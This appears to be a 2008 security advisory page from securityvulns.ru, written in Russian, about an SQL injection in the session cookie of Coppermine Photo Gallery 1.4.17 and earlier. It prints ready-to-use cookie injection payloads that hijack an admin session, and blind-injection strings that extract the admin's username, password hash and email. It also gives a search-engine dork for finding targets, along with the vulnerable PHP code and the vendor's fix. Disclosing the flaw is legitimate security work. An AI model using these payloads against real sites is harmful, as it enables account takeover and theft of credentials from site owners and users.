Computer Security
[EN] securityvulns.ru
no-pyccku



Related information

  Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

  Coppermine <=1.4.16 [Content-type] SQL-injection Exploit

From:Elekt
Date:25.04.2008
Subject:Coppermine <=1.4.17 SQL-inj Session Hijack Exploit

Coppermine <=1.4.17 SQL-inj Session Hijack Exploit

1) Дата:
Пропатчена: April 11, 2008 (http://forum.coppermine-gallery.net/index.php/topic,51882.0.html)

2) Продукт: Coppermine Photo Gallery <=1.4.17

3) Уязвимость: SQL-инъекция в $_COOKIE[$this->client_id] в [/bridge/coppermine.inc.php]
Значение извлекается из куков без проверок.

4) Автор: unknown

6) Опасность: 4/10

5) Тип: удалённая

7) Описание:

Уязвимость позволяет присвоить валидную сессию админа или получить хеш пароля админа.

[1] Session hijacking
В случае существования валидной сессии (время жизни сессии 1 час) - атакующий повысит свои права до админа.

Эксплоит:

по конкретному id админа.пользователя
Cookie: [$this->client_id]=blah") or user_id=[admin_id]/*;
например:
60e8773ee5c8bcc63dac366e197055a4=hack!") or user_id=1/*;

автоопределение админской сессии
COOKIE: Cookie: [$this->client_id]=Antich@t") union select cpg14x_sessions.user_id from cpg14x_sessions,cpg14x_users where cpg14x_users.user_group=1 AND cpg14x_users.user_id=cpg14x_sessions.user_id limit 0,1/*;


[2] Хеш: перебор через more1row
COOKIE: Cookie: [$this->client_id]=Antich@t") or 1=if(ascii(substr((select concat(user_id,0x3a,user_name,0x3a,user_password,0 x3a,user_email) from cpg14x_users where user_group=1 and user_active='YES' limit 1),1,1))<=1,(select 2 union select 3),2)/*
COOKIE: Cookie: [$this->client_id]=Antich@t") or 1=if(ascii(substr((select concat(user_id,0x3a,user_name,0x3a,user_password,0 x3a,user_email) from cpg14x_users where user_group=1 and user_active='YES' limit 1),1,1))<=254,(select 2 union select 3),2)/*

9) Поиск: пример поиска приложения через поисковые системы

Powered by Coppermine Photo Gallery

10) Решение: решение для устранения уязвимости

http://forum.coppermine-gallery.net/index.php/topic,51882.0.html

Разработчик пофиксил проблему, заменив md5-sql на md5-php:

было
PHP код:
where session_id = md5(" ' . $session_id . ' "); ;  


стало
PHP код:
where session_id = ' " . md5($session_id) . " ' ";  



Сам уязвимый код:

PHP код:
function session_extraction()
       {
               // Get the session cookie value
               $sessioncookie = $_COOKIE[$this->client_id];

               // Create the session id by concat(session_cookie_value, client_id)
               $session_id = $sessioncookie.$this->client_id;

               if ($sessioncookie) {
        
                   // Check for valid session
                   $sql =  'select user_id from '.$this->sessionstable.' where session_id=md5("'.$session_id.'");';  
р

About | Terms of use | Privacy Policy
© SecurityVulns, 3APA3A, Vladimir Dubrovin
Nizhny Novgorod

 
 



Rating@Mail.ru
test server